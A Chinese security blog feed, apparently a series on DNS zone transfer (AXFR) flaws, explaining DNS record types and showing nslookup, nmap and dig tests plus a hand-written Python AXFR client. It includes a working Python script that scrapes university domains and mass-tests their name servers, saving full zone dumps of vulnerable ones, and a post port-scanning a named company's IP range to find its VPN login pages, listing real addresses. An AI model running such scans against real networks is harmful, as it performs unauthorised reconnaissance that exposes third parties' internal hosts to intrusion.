DNS域传送漏洞(五) — python实现DNS axfr客户端[Response]

前文介绍了生成DNS查询,本文继续介绍如何解码DNS服务器发回的响应文本。

首先应该明确,响应和查询的基本格式是一样的,都是由5个部分组成:header、Question、Answer、 Authority、Additional。并且,Header的格式也完全相同。

检查RCODE的值

拿到Response首先应该检查RCODE,因为域传送多半并不成功。检查第3个字节的最后四位即可:

    RCODE = struct.unpack('!H', response[2:4] )[0] & 0b00001111 # last 4 bits is RCODE
    if RCODE != 0:
        print 'Transfer Failed. %>_<%'
        sys.exit(-1)

这里是拿两个字节和二进制数00001111取and。

读Answer RRs的值

RRs是指Resource Record,资源记录。 该值位于第7、8字节。

跳过Header和Query

在前文查询消息中,已经记录了Query区块的长度,用到这里直接跳到Answers区块:

OFFSET = 12 + LEN_QUERY + 4    # header = 12, type + class = 4

12是Header的长度。

读取所有记录

Answer记录的基本格式是:

      0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                                               |
    /                                               /
    /                      NAME                     /
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      TYPE                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                     CLASS                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      TTL                      |
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                   RDLENGTH                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--|
    /                     RDATA                     /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

这里很关键的是Name字段。它有两种格式:

  1. 跟前一篇提到的Query格式相同,直接用Label序列表示。
  2. 用一个偏移量,来指示前文中已经出现的某个位置。实际上,这是为了压缩文本,前面已经出现过的文本,不再重复。

如果是第二种表示法,则起始的两个字节是:

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
1 1 消息内部的偏移量

于是,只需要检查前两个字节,就可以知道Name采用了何种表示法了。如果为11,就跳到对应的偏移位置去读域名。

当Type的值为1,即A记录时,RDLENGTH的值是4,并且RDATA表示的是4个字节的IP地址。循环读取记录直到消息结尾。

笔者只处理了A记录:

dns_axfr_client

建议在编码的时候,一定要使用WireShark抓包,并且对照分析各个section的内容。

去Github获取代码
参考链接: http://www.zytrax.com/books/dns/ch15/

DNS域传送漏洞(四) — python实现DNS axfr客户端[Query]

在DNS查询中,axfr类型是Authoritative Transfer的缩写,指请求传送某个区域的全部记录。

前面三篇日志中,笔者分别使用nmap、dig、nslookup来查询域传送记录。

本篇介绍自己动手,用python写一个简单的DNS客户端,仅实现axfr查询,并且只处理A记录。

DNS消息的格式

DNS请求和响应,都是由5个区块组成的,如下图所示:

    +---------------------+
    |        Header       |
    +---------------------+
    |       Question      | the question for the name server
    +---------------------+
    |        Answer       | RRs answering the question
    +---------------------+
    |      Authority      | RRs pointing toward an authority
    +---------------------+
    |      Additional     | RRs holding additional information
    +---------------------+

axfr请求的包,只填充header和Question区块就可以了。

Header区块的格式

Header的格式是这样的: 继续阅读DNS域传送漏洞(四) — python实现DNS axfr客户端[Query]

DNS域传送漏洞(三)

本篇介绍批量扫描存在DNS域传送漏洞的DNS服务器。

笔者选择了安全性比较差的教育网,共扫描1604所高校,发现漏洞主机396台。

高校的域名可从该页面抓取到:http://ziyuan.eol.cn/college.php?listid=128

#encoding=gbk

import urllib2
import re
import threading
import os

html_doc = urllib2.urlopen('http://ziyuan.eol.cn/college.php?listid=128').read().decode('utf-8')
links = re.findall('href="(list.php\?listid=\d+)', html_doc)    # 地区链接
colleges = []
for link in links:
    html_doc = urllib2.urlopen(u'http://ziyuan.eol.cn/' + link).read().decode('utf-8')
    urls = re.findall('www\.\w+\.edu.\w+', html_doc)
    for url in urls:
        colleges.append(url)
    print '已采集学校主页 %d 个...' % len(colleges)

# 导出学校主页
with open('colleges.txt', 'w') as outFile:
    for college in colleges:
        outFile.write(college + '\n')      


lock = threading.Lock()
c_index = 0
def test_DNS_Servers():
    global c_index
    while True:
        lock.acquire()
        if c_index >= len(colleges):
            lock.release()
            break    # End of list
        domain = colleges[c_index].lstrip('www.')
        c_index += 1
        lock.release()
        cmd_res = os.popen('nslookup -type=ns ' + domain).read()    # fetch DNS Server List
        dns_servers = re.findall('nameserver = ([\w\.]+)', cmd_res)
        for server in dns_servers:
            if len(server) < 5: server += domain
            cmd_res = os.popen(os.getcwd() + '\\BIND9\\dig @%s axfr %s' % (server, domain)).read()
            if cmd_res.find('Transfer failed.') < 0 and \
               cmd_res.find('connection timed out') < 0 and \
               cmd_res.find('XFR size') > 0 :
                lock.acquire()
                print '*' * 10 +  ' Vulnerable dns server found:', server, '*' * 10
                lock.release()
                with open('vulnerable_hosts.txt', 'a') as f:
                    f.write('%s    %s\n' % (server.ljust(30), domain))
                with open('dns\\' + server + '.txt', 'w') as f:
                    f.write(cmd_res)
                     
threads = []
for i in range(10):
    t = threading.Thread(target=test_DNS_Servers)
    t.start()
    threads.append(t)

for t in threads:
    t.join()

print 'All Done!'

请读者注意几个细节:

1) 笔者将windows下的命令行工具dig放在了子目录BIND9下,BIND可前往http://www.isc.org/下载。如果你使用Linux,可把完整路径删除。

2) Os.popen打开一个子程序,并返回它的执行结果。

3) Dig命令执行结果中出现特征字符串“XFR size”,则表明该DNS服务器存在漏洞。

github获取源代码

找到某公司VPN服务器地址的方法

之前曾写过一篇博客:通过邮件发送图片获取某人IP地址的简单方法

当时并没有进一步利用。今天突然想起来,至少应该找到VPN服务器看看的。

于是搬出来,扫222.129.43.1 ~ 222.129.43.255开放443端口、53端口和389端口的主机,看能否找到SSL VPN。

E:\s tcp 42.120.74.1 42.120.74.255 443 50
TCP Port Scanner V1.1 By WinEggDrop

Normal Scan: About To Scan 255 IP Using 50 Threads
42.120.74.45     443   Open
42.120.74.42     443   Open
42.120.74.43     443   Open
42.120.74.112    443   Open
42.120.74.113    443   Open
42.120.74.179    443   Open
Scan 255 IPs Complete In 0 Hours 0 Minutes 15 Seconds. Found 6 Hosts

打开https://42.120.74.43:443

可以找到阿里巴巴登录页面:https://login.alibaba-inc.com/arkserver/Login.aspx?app=http%3a%2f%2f42.120.74.43%2f&redirectURL=http%3a%2f%2f42.120.74.43%2fdefault.aspx

https://42.120.74.179/+CSCOE+/logon.html

https://42.120.73.5/+CSCOE+/logon.html

https://42.120.73.201/+CSCOE+/logon.html

百度的那个IP扫出来没有利用价值,没有找到VPN服务器。

DNS域传送漏洞(二)

本篇将介绍使用nmap扫描器和dig来得到DNS Zone Transfer记录。

3)使用nmap扫描DNS域传送泄露漏洞

使用nmap扫描器附带的脚本,可以扫描DNS服务器是否存在域传送漏洞。语法为:

nmap --script dns-zone-transfer --script-args dns-zone-trans
fer.domain=nwpu.edu.cn -p 53 -Pn dns.nwpu.edu.cn

对上述命令命令说明如下:

  1. nmap –script dns-zone-transfer表示加载nmap文件夹下的脚本文件dns-zone-transfer.nse,扩展名.nse可省略
  2. –script-args dns-zone-transfer.domain=zonetransfer.me向脚本传递参数,设置列出记录的域是nwpu.edu.cn
  3. -p 53设置扫描53端口
  4. -Pn设置通过Ping发现主机是否存活

在虚拟机中执行结果如下图所示:

nmap-dns-transfer
图中dns-zone-transfer后面的部分列出了域中所有的记录。nmap是跨平台的扫描工具,在Linux下照常工作。若使用Ubuntu Linux,可使用apt-get install nmap安装。

4)Dig命令

在Linux下除了使用nmap扫描器,还可以用dig来测试DNS服务器是否存在域传送泄露。Dig是一个非常强大的DNS查询工具,输入“dig -h”查看它的使用说明。鉴于参数较多,以下是经过笔者精简的说明,只留下最常用的几个参数: 继续阅读DNS域传送漏洞(二)

DNS域传送漏洞(一)

本文主要介绍:

1)什么是DNS?

2)使用Nslookup命令探测DNS域传送漏洞

3)使用nmap扫描DNS域传送漏洞

4)使用dig命令检测

5)使用python + Dig批量扫描漏洞主机

6)使用python实现AXFR查询

1)什么是DNS?

DNS(Domain Name System,域名管理系统)是万维网WWW的重要基础。它建立在一个分布式数据库基础之上,在这个数据库里,保存了IP地址域名的相互映射关系。

正因为DNS的存在,我们才不需要记住大量无规则的IP地址, 而只需要知道对方计算机的名称,就可以访问对应服务。比如,笔者的博客是www.lijiejie.com,当用户在浏览器地址栏输入上述域名,浏览器就将向DNS服务器发送查询,得到目标主机的IP地址,再与对应的主机建立一个HTTP连接,请求网页。相对于记住106.187.34.156这个IP地址,域名www.lijiejie.com自然更有意义、更加清晰明了。

DNS服务器使用的TCP/UDP端口号是53。

最常用的DNS记录有以下几类:

  A记录       IP地址记录,记录一个域名对应的IP地址

  AAAA记录    IPv6 地址记录,记录一个域名对应的IPv6地址

  CNAME记录   别名记录,记录一个主机的别名

  MX记录    电子邮件交换记录,记录一个邮件域名对应的IP地址,比如my[at]lijiejie.com
             后面的部分lijiejie.com,邮件服务器对应的IP地址

  NS记录      域名服务器记录 ,记录该域名由哪台域名服务器解析

  PTR记录     反向记录,也即从IP地址到域名的一条记录

   TXT记录     记录域名的相关文本信息

作为重要的互联网基础设施,难免成为黑客的重点攻击目标,服务的稳定性尤为重要。DNS服务器分为:主服务器、备份服务器和缓存服务器。在主备服务器之间同步数据库,需要使用“DNS域传送”。域传送是指后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。

若DNS服务器配置不当,可能导致匿名用户获取某个域的所有记录。造成整个网络的拓扑结构泄露给潜在的攻击者,包括一些安全性较低的内部主机,如测试服务器。凭借这份网络蓝图,攻击者可以节省很少的扫描时间。

大的互联网厂商通常将内部网络与外部互联网隔离开,一个重要的手段是使用Private DNS。如果内部DNS泄露,将造成极大的安全风险。风险控制不当甚至造成整个内部网络沦陷。

 

2) nslookup命令 

笔者首先介绍DNS查询工具nslookup命令的使用。仅使用该命令,就可完成DNS域传送的测试。在windows命令提示符中输入“nslookup ?”,得到如下简略的用法说明:

d:\nslookup ?

用法:
nslookup [-opt ...]             # 使用默认服务器的交互模式
nslookup [-opt ...] - server    # 使用 "server" 的交互模式
nslookup [-opt ...] host        # 仅查找使用默认服务器的 "host"
nslookup [-opt ...] host server # 仅查找使用 "server" 的 "host"

Nslookup命令以两种方式运行:非交互式和交互式。本 文第一次提到“交互式”的概念,简单说明:交互式系统是指执行过程中允许用户输入数据和命令的系统。而非交互式系统,是指一旦开始运行,不需要人干预就可以自行结束的系统。因此,nslookup以非交互式方式运行,就是指运行后自行结束。而交互式,是指开始运行后,会要求使用者进一步输入数据和命令。

非交互式下命令的语法是是:

nslookup [-option] [hostname] [server]

继续阅读DNS域传送漏洞(一)